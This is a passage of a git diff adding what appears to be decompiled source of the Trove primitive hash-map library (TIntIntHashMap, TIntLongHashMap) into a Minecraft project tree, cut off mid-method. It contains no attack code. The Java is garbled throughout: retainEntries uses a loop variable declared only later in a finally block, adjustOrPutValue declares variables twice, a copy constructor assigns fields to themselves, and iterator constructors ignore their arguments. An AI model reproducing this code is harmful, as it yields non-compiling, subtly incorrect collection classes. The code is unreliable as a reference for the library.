+    boolean isNewMapping = true;
+    if (index < 0) {
+      index = -index - 1;
+      previous = _values[index];
+      isNewMapping = false;
+    }
+    byte previousState = _states[index];
+    _set[index] = key;
+    _states[index] = 1;
+    _values[index] = value;
+    if (isNewMapping) {
+      postInsertHook(previousState == 0);
+    }
+    
+    return previous;
+  }
+  
+
+  public void putAll(Map<? extends Integer, ? extends Integer> map)
+  {
+    ensureCapacity(map.size());
+    
+    for (Map.Entry<? extends Integer, ? extends Integer> entry : map.entrySet()) {
+      put(((Integer)entry.getKey()).intValue(), ((Integer)entry.getValue()).intValue());
+    }
+  }
+  
+
+  public void putAll(TIntIntMap map)
+  {
+    ensureCapacity(map.size());
+    TIntIntIterator iter = map.iterator();
+    while (iter.hasNext()) {
+      iter.advance();
+      put(iter.key(), iter.value());
+    }
+  }
+  
+
+  public int get(int key)
+  {
+    int index = index(key);
+    return index < 0 ? no_entry_value : _values[index];
+  }
+  
+
+  public void clear()
+  {
+    super.clear();
+    Arrays.fill(_set, 0, _set.length, no_entry_key);
+    Arrays.fill(_values, 0, _values.length, no_entry_value);
+    Arrays.fill(_states, 0, _states.length, (byte)0);
+  }
+  
+
+  public boolean isEmpty()
+  {
+    return 0 == _size;
+  }
+  
+
+  public int remove(int key)
+  {
+    int prev = no_entry_value;
+    int index = index(key);
+    if (index >= 0) {
+      prev = _values[index];
+      removeAt(index);
+    }
+    return prev;
+  }
+  
+
+  public void removeAt(int index)
+  {
+    _values[index] = no_entry_value;
+    super.removeAt(index);
+  }
+  
+
+  public TIntSet keySet()
+  {
+    return new TKeyView();
+  }
+  
+
+  public int[] keys()
+  {
+    int[] keys = new int[size()];
+    int[] k = _set;
+    byte[] states = _states;
+    
+    int i = k.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        keys[(j++)] = k[i];
+      }
+    }
+    return keys;
+  }
+  
+
+  public int[] keys(int[] array)
+  {
+    int size = size();
+    if (array.length < size) {
+      array = new int[size];
+    }
+    
+    int[] keys = _set;
+    byte[] states = _states;
+    
+    int i = keys.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        array[(j++)] = keys[i];
+      }
+    }
+    return array;
+  }
+  
+
+  public TIntCollection valueCollection()
+  {
+    return new TValueView();
+  }
+  
+
+  public int[] values()
+  {
+    int[] vals = new int[size()];
+    int[] v = _values;
+    byte[] states = _states;
+    
+    int i = v.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        vals[(j++)] = v[i];
+      }
+    }
+    return vals;
+  }
+  
+
+  public int[] values(int[] array)
+  {
+    int size = size();
+    if (array.length < size) {
+      array = new int[size];
+    }
+    
+    int[] v = _values;
+    byte[] states = _states;
+    
+    int i = v.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        array[(j++)] = v[i];
+      }
+    }
+    return array;
+  }
+  
+
+  public boolean containsValue(int val)
+  {
+    byte[] states = _states;
+    int[] vals = _values;
+    
+    for (int i = vals.length; i-- > 0;) {
+      if ((states[i] == 1) && (val == vals[i])) {
+        return true;
+      }
+    }
+    return false;
+  }
+  
+
+  public boolean containsKey(int key)
+  {
+    return contains(key);
+  }
+  
+
+  public TIntIntIterator iterator()
+  {
+    return new TIntIntHashIterator(this);
+  }
+  
+
+  public boolean forEachKey(TIntProcedure procedure)
+  {
+    return forEach(procedure);
+  }
+  
+
+  public boolean forEachValue(TIntProcedure procedure)
+  {
+    byte[] states = _states;
+    int[] values = _values;
+    for (int i = values.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(values[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+  public boolean forEachEntry(TIntIntProcedure procedure)
+  {
+    byte[] states = _states;
+    int[] keys = _set;
+    int[] values = _values;
+    for (int i = keys.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(keys[i], values[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+  public void transformValues(TIntFunction function)
+  {
+    byte[] states = _states;
+    int[] values = _values;
+    for (int i = values.length; i-- > 0;) {
+      if (states[i] == 1) {
+        values[i] = function.execute(values[i]);
+      }
+    }
+  }
+  
+
+  public boolean retainEntries(TIntIntProcedure procedure)
+  {
+    boolean modified = false;
+    byte[] states = _states;
+    int[] keys = _set;
+    int[] values = _values;
+    
+
+
+    tempDisableAutoCompaction();
+    try {
+      for (i = keys.length; i-- > 0;) {
+        if ((states[i] == 1) && (!procedure.execute(keys[i], values[i]))) {
+          removeAt(i);
+          modified = true;
+        }
+      }
+    } finally {
+      int i;
+      reenableAutoCompaction(true);
+    }
+    
+    return modified;
+  }
+  
+
+  public boolean increment(int key)
+  {
+    return adjustValue(key, 1);
+  }
+  
+
+  public boolean adjustValue(int key, int amount)
+  {
+    int index = index(key);
+    if (index < 0) {
+      return false;
+    }
+    _values[index] += amount;
+    return true;
+  }
+  
+
+
+  public int adjustOrPutValue(int key, int adjust_amount, int put_amount)
+  {
+    int index = insertionIndex(key);
+    boolean isNewMapping;
+    int newValue;
+    boolean isNewMapping; if (index < 0) {
+      index = -index - 1;
+      int newValue = _values[index] += adjust_amount;
+      isNewMapping = false;
+    } else {
+      newValue = _values[index] = put_amount;
+      isNewMapping = true;
+    }
+    
+    byte previousState = _states[index];
+    _set[index] = key;
+    _states[index] = 1;
+    
+    if (isNewMapping) {
+      postInsertHook(previousState == 0);
+    }
+    
+    return newValue;
+  }
+  
+  protected class TKeyView implements TIntSet
+  {
+    protected TKeyView() {}
+    
+    public TIntIterator iterator()
+    {
+      return new TIntIntHashMap.TIntIntKeyHashIterator(TIntIntHashMap.this, TIntIntHashMap.this);
+    }
+    
+
+    public int getNoEntryValue()
+    {
+      return no_entry_key;
+    }
+    
+
+    public int size()
+    {
+      return _size;
+    }
+    
+
+    public boolean isEmpty()
+    {
+      return 0 == _size;
+    }
+    
+
+    public boolean contains(int entry)
+    {
+      return TIntIntHashMap.this.contains(entry);
+    }
+    
+
+    public int[] toArray()
+    {
+      return keys();
+    }
+    
+
+    public int[] toArray(int[] dest)
+    {
+      return keys(dest);
+    }
+    
+
+
+
+
+
+    public boolean add(int entry)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean remove(int entry)
+    {
+      return no_entry_value != remove(entry);
+    }
+    
+
+    public boolean containsAll(Collection<?> collection)
+    {
+      for (Object element : collection) {
+        if ((element instanceof Integer)) {
+          int ele = ((Integer)element).intValue();
+          if (!containsKey(ele)) {
+            return false;
+          }
+        } else {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(TIntCollection collection)
+    {
+      TIntIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        if (!containsKey(iter.next())) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(int[] array)
+    {
+      for (int element : array) {
+        if (!TIntIntHashMap.this.contains(element)) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+
+
+
+
+    public boolean addAll(Collection<? extends Integer> collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+
+
+
+    public boolean addAll(TIntCollection collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+
+
+
+    public boolean addAll(int[] array)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+    public boolean retainAll(Collection<?> collection)
+    {
+      boolean modified = false;
+      TIntIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(Integer.valueOf(iter.next()))) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(TIntCollection collection)
+    {
+      if (this == collection) {
+        return false;
+      }
+      boolean modified = false;
+      TIntIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(iter.next())) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(int[] array)
+    {
+      boolean changed = false;
+      Arrays.sort(array);
+      int[] set = _set;
+      byte[] states = _states;
+      
+      for (int i = set.length; i-- > 0;) {
+        if ((states[i] == 1) && (Arrays.binarySearch(array, set[i]) < 0)) {
+          removeAt(i);
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(Collection<?> collection)
+    {
+      boolean changed = false;
+      for (Object element : collection) {
+        if ((element instanceof Integer)) {
+          int c = ((Integer)element).intValue();
+          if (remove(c)) {
+            changed = true;
+          }
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(TIntCollection collection)
+    {
+      if (this == collection) {
+        clear();
+        return true;
+      }
+      boolean changed = false;
+      TIntIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        int element = iter.next();
+        if (remove(element)) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(int[] array)
+    {
+      boolean changed = false;
+      for (int i = array.length; i-- > 0;) {
+        if (remove(array[i])) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public void clear()
+    {
+      TIntIntHashMap.this.clear();
+    }
+    
+
+    public boolean forEach(TIntProcedure procedure)
+    {
+      return forEachKey(procedure);
+    }
+    
+
+    public boolean equals(Object other)
+    {
+      if (!(other instanceof TIntSet)) {
+        return false;
+      }
+      TIntSet that = (TIntSet)other;
+      if (that.size() != size()) {
+        return false;
+      }
+      for (int i = _states.length; i-- > 0;) {
+        if ((_states[i] == 1) && 
+          (!that.contains(_set[i]))) {
+          return false;
+        }
+      }
+      
+      return true;
+    }
+    
+
+    public int hashCode()
+    {
+      int hashcode = 0;
+      for (int i = _states.length; i-- > 0;) {
+        if (_states[i] == 1) {
+          hashcode += HashFunctions.hash(_set[i]);
+        }
+      }
+      return hashcode;
+    }
+    
+
+    public String toString()
+    {
+      final StringBuilder buf = new StringBuilder("{");
+      forEachKey(new TIntProcedure() {
+        private boolean first = true;
+        
+        public boolean execute(int key)
+        {
+          if (first) {
+            first = false;
+          } else {
+            buf.append(",");
+          }
+          
+          buf.append(key);
+          return true;
+        }
+      });
+      buf.append("}");
+      return buf.toString();
+    }
+  }
+  
+  protected class TValueView implements TIntCollection
+  {
+    protected TValueView() {}
+    
+    public TIntIterator iterator()
+    {
+      return new TIntIntHashMap.TIntIntValueHashIterator(TIntIntHashMap.this, TIntIntHashMap.this);
+    }
+    
+
+    public int getNoEntryValue()
+    {
+      return no_entry_value;
+    }
+    
+
+    public int size()
+    {
+      return _size;
+    }
+    
+
+    public boolean isEmpty()
+    {
+      return 0 == _size;
+    }
+    
+
+    public boolean contains(int entry)
+    {
+      return containsValue(entry);
+    }
+    
+
+    public int[] toArray()
+    {
+      return values();
+    }
+    
+
+    public int[] toArray(int[] dest)
+    {
+      return values(dest);
+    }
+    
+
+    public boolean add(int entry)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean remove(int entry)
+    {
+      int[] values = _values;
+      int[] set = _set;
+      
+      for (int i = values.length; i-- > 0;) {
+        if ((set[i] != 0) && (set[i] != 2) && (entry == values[i])) {
+          removeAt(i);
+          return true;
+        }
+      }
+      return false;
+    }
+    
+
+    public boolean containsAll(Collection<?> collection)
+    {
+      for (Object element : collection) {
+        if ((element instanceof Integer)) {
+          int ele = ((Integer)element).intValue();
+          if (!containsValue(ele)) {
+            return false;
+          }
+        } else {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(TIntCollection collection)
+    {
+      TIntIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        if (!containsValue(iter.next())) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(int[] array)
+    {
+      for (int element : array) {
+        if (!containsValue(element)) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean addAll(Collection<? extends Integer> collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean addAll(TIntCollection collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean addAll(int[] array)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+    public boolean retainAll(Collection<?> collection)
+    {
+      boolean modified = false;
+      TIntIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(Integer.valueOf(iter.next()))) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(TIntCollection collection)
+    {
+      if (this == collection) {
+        return false;
+      }
+      boolean modified = false;
+      TIntIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(iter.next())) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(int[] array)
+    {
+      boolean changed = false;
+      Arrays.sort(array);
+      int[] values = _values;
+      byte[] states = _states;
+      
+      for (int i = values.length; i-- > 0;) {
+        if ((states[i] == 1) && (Arrays.binarySearch(array, values[i]) < 0)) {
+          removeAt(i);
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(Collection<?> collection)
+    {
+      boolean changed = false;
+      for (Object element : collection) {
+        if ((element instanceof Integer)) {
+          int c = ((Integer)element).intValue();
+          if (remove(c)) {
+            changed = true;
+          }
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(TIntCollection collection)
+    {
+      if (this == collection) {
+        clear();
+        return true;
+      }
+      boolean changed = false;
+      TIntIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        int element = iter.next();
+        if (remove(element)) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public boolean removeAll(int[] array)
+    {
+      boolean changed = false;
+      for (int i = array.length; i-- > 0;) {
+        if (remove(array[i])) {
+          changed = true;
+        }
+      }
+      return changed;
+    }
+    
+
+    public void clear()
+    {
+      TIntIntHashMap.this.clear();
+    }
+    
+
+    public boolean forEach(TIntProcedure procedure)
+    {
+      return forEachValue(procedure);
+    }
+    
+
+
+    public String toString()
+    {
+      final StringBuilder buf = new StringBuilder("{");
+      forEachValue(new TIntProcedure() {
+        private boolean first = true;
+        
+        public boolean execute(int value) {
+          if (first) {
+            first = false;
+          } else {
+            buf.append(",");
+          }
+          
+          buf.append(value);
+          return true;
+        }
+      });
+      buf.append("}");
+      return buf.toString();
+    }
+  }
+  
+
+
+
+  class TIntIntKeyHashIterator
+    extends THashPrimitiveIterator
+    implements TIntIterator
+  {
+    TIntIntKeyHashIterator(TPrimitiveHash hash)
+    {
+      super();
+    }
+    
+    public int next()
+    {
+      moveToNextIndex();
+      return _set[_index];
+    }
+    
+    public void remove()
+    {
+      if (_expectedSize != _hash.size()) {
+        throw new ConcurrentModificationException();
+      }
+      
+      try
+      {
+        _hash.tempDisableAutoCompaction();
+        removeAt(_index);
+      }
+      finally {
+        _hash.reenableAutoCompaction(false);
+      }
+      
+      _expectedSize -= 1;
+    }
+  }
+  
+
+
+
+
+  class TIntIntValueHashIterator
+    extends THashPrimitiveIterator
+    implements TIntIterator
+  {
+    TIntIntValueHashIterator(TPrimitiveHash hash)
+    {
+      super();
+    }
+    
+    public int next()
+    {
+      moveToNextIndex();
+      return _values[_index];
+    }
+    
+    public void remove()
+    {
+      if (_expectedSize != _hash.size()) {
+        throw new ConcurrentModificationException();
+      }
+      
+      try
+      {
+        _hash.tempDisableAutoCompaction();
+        removeAt(_index);
+      }
+      finally {
+        _hash.reenableAutoCompaction(false);
+      }
+      
+      _expectedSize -= 1;
+    }
+  }
+  
+
+
+
+  class TIntIntHashIterator
+    extends THashPrimitiveIterator
+    implements TIntIntIterator
+  {
+    TIntIntHashIterator(TIntIntHashMap map)
+    {
+      super();
+    }
+    
+    public void advance()
+    {
+      moveToNextIndex();
+    }
+    
+    public int key()
+    {
+      return _set[_index];
+    }
+    
+    public int value()
+    {
+      return _values[_index];
+    }
+    
+    public int setValue(int val)
+    {
+      int old = value();
+      _values[_index] = val;
+      return old;
+    }
+    
+    public void remove()
+    {
+      if (_expectedSize != _hash.size()) {
+        throw new ConcurrentModificationException();
+      }
+      try
+      {
+        _hash.tempDisableAutoCompaction();
+        removeAt(_index);
+      }
+      finally {
+        _hash.reenableAutoCompaction(false);
+      }
+      _expectedSize -= 1;
+    }
+  }
+  
+
+
+  public boolean equals(Object other)
+  {
+    if (!(other instanceof TIntIntMap)) {
+      return false;
+    }
+    TIntIntMap that = (TIntIntMap)other;
+    if (that.size() != size()) {
+      return false;
+    }
+    int[] values = _values;
+    byte[] states = _states;
+    int this_no_entry_value = getNoEntryValue();
+    int that_no_entry_value = that.getNoEntryValue();
+    for (int i = values.length; i-- > 0;) {
+      if (states[i] == 1) {
+        int key = _set[i];
+        int that_value = that.get(key);
+        int this_value = values[i];
+        if ((this_value != that_value) && (this_value != this_no_entry_value) && (that_value != that_no_entry_value))
+        {
+
+          return false;
+        }
+      }
+    }
+    return true;
+  }
+  
+
+
+  public int hashCode()
+  {
+    int hashcode = 0;
+    byte[] states = _states;
+    for (int i = _values.length; i-- > 0;) {
+      if (states[i] == 1) {
+        hashcode += (HashFunctions.hash(_set[i]) ^ HashFunctions.hash(_values[i]));
+      }
+    }
+    
+    return hashcode;
+  }
+  
+
+
+  public String toString()
+  {
+    final StringBuilder buf = new StringBuilder("{");
+    forEachEntry(new TIntIntProcedure() {
+      private boolean first = true;
+      
+      public boolean execute(int key, int value) { if (first) first = false; else {
+          buf.append(",");
+        }
+        buf.append(key);
+        buf.append("=");
+        buf.append(value);
+        return true;
+      }
+    });
+    buf.append("}");
+    return buf.toString();
+  }
+  
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    super.writeExternal(out);
+    
+
+    out.writeInt(_size);
+    
+
+    for (int i = _states.length; i-- > 0;) {
+      if (_states[i] == 1) {
+        out.writeInt(_set[i]);
+        out.writeInt(_values[i]);
+      }
+    }
+  }
+  
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    super.readExternal(in);
+    
+
+    int size = in.readInt();
+    setUp(size);
+    
+
+    while (size-- > 0) {
+      int key = in.readInt();
+      int val = in.readInt();
+      put(key, val);
+    }
+  }
+}
diff --git a/src/minecraft/gnu/trove/map/hash/TIntLongHashMap.java b/src/minecraft/gnu/trove/map/hash/TIntLongHashMap.java
new file mode 100644
index 0000000..b89d2e7
--- /dev/null
+++ b/src/minecraft/gnu/trove/map/hash/TIntLongHashMap.java
@@ -0,0 +1,1293 @@
+package gnu.trove.map.hash;
+
+import gnu.trove.TIntCollection;
+import gnu.trove.TLongCollection;
+import gnu.trove.function.TLongFunction;
+import gnu.trove.impl.HashFunctions;
+import gnu.trove.impl.hash.THashPrimitiveIterator;
+import gnu.trove.impl.hash.TIntLongHash;
+import gnu.trove.impl.hash.TPrimitiveHash;
+import gnu.trove.iterator.TIntIterator;
+import gnu.trove.iterator.TIntLongIterator;
+import gnu.trove.iterator.TLongIterator;
+import gnu.trove.map.TIntLongMap;
+import gnu.trove.procedure.TIntLongProcedure;
+import gnu.trove.procedure.TIntProcedure;
+import gnu.trove.procedure.TLongProcedure;
+import gnu.trove.set.TIntSet;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.ConcurrentModificationException;
+import java.util.Map;
+import java.util.Map.Entry;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TIntLongHashMap
+  extends TIntLongHash
+  implements TIntLongMap, Externalizable
+{
+  static final long serialVersionUID = 1L;
+  protected transient long[] _values;
+  
+  public TIntLongHashMap() {}
+  
+  public TIntLongHashMap(int initialCapacity)
+  {
+    super(initialCapacity);
+  }
+  
+
+
+
+
+
+
+
+
+  public TIntLongHashMap(int initialCapacity, float loadFactor)
+  {
+    super(initialCapacity, loadFactor);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public TIntLongHashMap(int initialCapacity, float loadFactor, int noEntryKey, long noEntryValue)
+  {
+    super(initialCapacity, loadFactor, noEntryKey, noEntryValue);
+  }
+  
+
+
+
+
+
+
+
+  public TIntLongHashMap(int[] keys, long[] values)
+  {
+    super(Math.max(keys.length, values.length));
+    
+    int size = Math.min(keys.length, values.length);
+    for (int i = 0; i < size; i++) {
+      put(keys[i], values[i]);
+    }
+  }
+  
+
+
+
+
+
+
+  public TIntLongHashMap(TIntLongMap map)
+  {
+    super(map.size());
+    if ((map instanceof TIntLongHashMap)) {
+      TIntLongHashMap hashmap = (TIntLongHashMap)map;
+      _loadFactor = _loadFactor;
+      no_entry_key = no_entry_key;
+      no_entry_value = no_entry_value;
+      
+      if (no_entry_key != 0) {
+        Arrays.fill(_set, no_entry_key);
+      }
+      
+      if (no_entry_value != 0L) {
+        Arrays.fill(_values, no_entry_value);
+      }
+      setUp((int)Math.ceil(10.0F / _loadFactor));
+    }
+    putAll(map);
+  }
+  
+
+
+
+
+
+
+
+
+
+  protected int setUp(int initialCapacity)
+  {
+    int capacity = super.setUp(initialCapacity);
+    _values = new long[capacity];
+    return capacity;
+  }
+  
+
+
+
+
+
+
+  protected void rehash(int newCapacity)
+  {
+    int oldCapacity = _set.length;
+    int[] oldKeys = _set;
+    long[] oldVals = _values;
+    byte[] oldStates = _states;
+    
+    _set = new int[newCapacity];
+    _values = new long[newCapacity];
+    _states = new byte[newCapacity];
+    
+    for (int i = oldCapacity; i-- > 0;) {
+      if (oldStates[i] == 1) {
+        int o = oldKeys[i];
+        int index = insertionIndex(o);
+        _set[index] = o;
+        _values[index] = oldVals[i];
+        _states[index] = 1;
+      }
+    }
+  }
+  
+
+  public long put(int key, long value)
+  {
+    int index = insertionIndex(key);
+    return doPut(key, value, index);
+  }
+  
+
+  public long putIfAbsent(int key, long value)
+  {
+    int index = insertionIndex(key);
+    if (index < 0)
+      return _values[(-index - 1)];
+    return doPut(key, value, index);
+  }
+  
+
+  private long doPut(int key, long value, int index)
+  {
+    long previous = no_entry_value;
+    boolean isNewMapping = true;
+    if (index < 0) {
+      index = -index - 1;
+      previous = _values[index];
+      isNewMapping = false;
+    }
+    byte previousState = _states[index];
+    _set[index] = key;
+    _states[index] = 1;
+    _values[index] = value;
+    if (isNewMapping) {
+      postInsertHook(previousState == 0);
+    }
+    
+    return previous;
+  }
+  
+
+  public void putAll(Map<? extends Integer, ? extends Long> map)
+  {
+    ensureCapacity(map.size());
+    
+    for (Map.Entry<? extends Integer, ? extends Long> entry : map.entrySet()) {
+      put(((Integer)entry.getKey()).intValue(), ((Long)entry.getValue()).longValue());
+    }
+  }
+  
+
+  public void putAll(TIntLongMap map)
+  {
+    ensureCapacity(map.size());
+    TIntLongIterator iter = map.iterator();
+    while (iter.hasNext()) {
+      iter.advance();
+      put(iter.key(), iter.value());
+    }
+  }
+  
+
+  public long get(int key)
+  {
+    int index = index(key);
+    return index < 0 ? no_entry_value : _values[index];
+  }
+  
+
+  public void clear()
+  {
+    super.clear();
+    Arrays.fill(_set, 0, _set.length, no_entry_key);
+    Arrays.fill(_values, 0, _values.length, no_entry_value);
+    Arrays.fill(_states, 0, _states.length, (byte)0);
+  }
+  
+
+  public boolean isEmpty()
+  {
+    return 0 == _size;
+  }
+  
+
+  public long remove(int key)
+  {
+    long prev = no_entry_value;
+    int index = index(key);
+    if (index >= 0) {
+      prev = _values[index];
+      removeAt(index);
+    }
+    return prev;
+  }
+  
+
+  public void removeAt(int index)
+  {
+    _values[index] = no_entry_value;
+    super.removeAt(index);
+  }
+  
+
+  public TIntSet keySet()
+  {
+    return new TKeyView();
+  }
+  
+
+  public int[] keys()
+  {
+    int[] keys = new int[size()];
+    int[] k = _set;
+    byte[] states = _states;
+    
+    int i = k.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        keys[(j++)] = k[i];
+      }
+    }
+    return keys;
+  }
+  
+
+  public int[] keys(int[] array)
+  {
+    int size = size();
+    if (array.length < size) {
+      array = new int[size];
+    }
+    
+    int[] keys = _set;
+    byte[] states = _states;
+    
+    int i = keys.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        array[(j++)] = keys[i];
+      }
+    }
+    return array;
+  }
+  
+
+  public TLongCollection valueCollection()
+  {
+    return new TValueView();
+  }
+  
+
+  public long[] values()
+  {
+    long[] vals = new long[size()];
+    long[] v = _values;
+    byte[] states = _states;
+    
+    int i = v.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        vals[(j++)] = v[i];
+      }
+    }
+    return vals;
+  }
+  
+
+  public long[] values(long[] array)
+  {
+    int size = size();
+    if (array.length < size) {
+      array = new long[size];
+    }
+    
+    long[] v = _values;
+    byte[] states = _states;
+    
+    int i = v.length; for (int j = 0; i-- > 0;) {
+      if (states[i] == 1) {
+        array[(j++)] = v[i];
+      }
+    }
+    return array;
+  }
+  
+
+  public boolean containsValue(long val)
+  {
+    byte[] states = _states;
+    long[] vals = _values;
+    
+    for (int i = vals.length; i-- > 0;) {
+      if ((states[i] == 1) && (val == vals[i])) {
+        return true;
+      }
+    }
+    return false;
+  }
+  
+
+  public boolean containsKey(int key)
+  {
+    return contains(key);
+  }
+  
+
+  public TIntLongIterator iterator()
+  {
+    return new TIntLongHashIterator(this);
+  }
+  
+
+  public boolean forEachKey(TIntProcedure procedure)
+  {
+    return forEach(procedure);
+  }
+  
+
+  public boolean forEachValue(TLongProcedure procedure)
+  {
+    byte[] states = _states;
+    long[] values = _values;
+    for (int i = values.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(values[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+  public boolean forEachEntry(TIntLongProcedure procedure)
+  {
+    byte[] states = _states;
+    int[] keys = _set;
+    long[] values = _values;
+    for (int i = keys.length; i-- > 0;) {
+      if ((states[i] == 1) && (!procedure.execute(keys[i], values[i]))) {
+        return false;
+      }
+    }
+    return true;
+  }
+  
+
+  public void transformValues(TLongFunction function)
+  {
+    byte[] states = _states;
+    long[] values = _values;
+    for (int i = values.length; i-- > 0;) {
+      if (states[i] == 1) {
+        values[i] = function.execute(values[i]);
+      }
+    }
+  }
+  
+
+  public boolean retainEntries(TIntLongProcedure procedure)
+  {
+    boolean modified = false;
+    byte[] states = _states;
+    int[] keys = _set;
+    long[] values = _values;
+    
+
+
+    tempDisableAutoCompaction();
+    try {
+      for (i = keys.length; i-- > 0;) {
+        if ((states[i] == 1) && (!procedure.execute(keys[i], values[i]))) {
+          removeAt(i);
+          modified = true;
+        }
+      }
+    } finally {
+      int i;
+      reenableAutoCompaction(true);
+    }
+    
+    return modified;
+  }
+  
+
+  public boolean increment(int key)
+  {
+    return adjustValue(key, 1L);
+  }
+  
+
+  public boolean adjustValue(int key, long amount)
+  {
+    int index = index(key);
+    if (index < 0) {
+      return false;
+    }
+    _values[index] += amount;
+    return true;
+  }
+  
+
+
+  public long adjustOrPutValue(int key, long adjust_amount, long put_amount)
+  {
+    int index = insertionIndex(key);
+    boolean isNewMapping;
+    long newValue;
+    boolean isNewMapping; if (index < 0) {
+      index = -index - 1;
+      long newValue = _values[index] += adjust_amount;
+      isNewMapping = false;
+    } else {
+      newValue = _values[index] = put_amount;
+      isNewMapping = true;
+    }
+    
+    byte previousState = _states[index];
+    _set[index] = key;
+    _states[index] = 1;
+    
+    if (isNewMapping) {
+      postInsertHook(previousState == 0);
+    }
+    
+    return newValue;
+  }
+  
+  protected class TKeyView implements TIntSet
+  {
+    protected TKeyView() {}
+    
+    public TIntIterator iterator()
+    {
+      return new TIntLongHashMap.TIntLongKeyHashIterator(TIntLongHashMap.this, TIntLongHashMap.this);
+    }
+    
+
+    public int getNoEntryValue()
+    {
+      return no_entry_key;
+    }
+    
+
+    public int size()
+    {
+      return _size;
+    }
+    
+
+    public boolean isEmpty()
+    {
+      return 0 == _size;
+    }
+    
+
+    public boolean contains(int entry)
+    {
+      return TIntLongHashMap.this.contains(entry);
+    }
+    
+
+    public int[] toArray()
+    {
+      return keys();
+    }
+    
+
+    public int[] toArray(int[] dest)
+    {
+      return keys(dest);
+    }
+    
+
+
+
+
+
+    public boolean add(int entry)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+    public boolean remove(int entry)
+    {
+      return no_entry_value != remove(entry);
+    }
+    
+
+    public boolean containsAll(Collection<?> collection)
+    {
+      for (Object element : collection) {
+        if ((element instanceof Integer)) {
+          int ele = ((Integer)element).intValue();
+          if (!containsKey(ele)) {
+            return false;
+          }
+        } else {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(TIntCollection collection)
+    {
+      TIntIterator iter = collection.iterator();
+      while (iter.hasNext()) {
+        if (!containsKey(iter.next())) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+    public boolean containsAll(int[] array)
+    {
+      for (int element : array) {
+        if (!TIntLongHashMap.this.contains(element)) {
+          return false;
+        }
+      }
+      return true;
+    }
+    
+
+
+
+
+
+    public boolean addAll(Collection<? extends Integer> collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+
+
+
+    public boolean addAll(TIntCollection collection)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+
+
+
+    public boolean addAll(int[] array)
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+    public boolean retainAll(Collection<?> collection)
+    {
+      boolean modified = false;
+      TIntIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(Integer.valueOf(iter.next()))) {
+          iter.remove();
+          modified = true;
+        }
+      }
+      return modified;
+    }
+    
+
+    public boolean retainAll(TIntCollection collection)
+    {
+      if (this == collection) {
+        return false;
+      }
+      boolean modified = false;
+      TIntIterator iter = iterator();
+      while (iter.hasNext()) {
+        if (!collection.contains(iter.next())) {
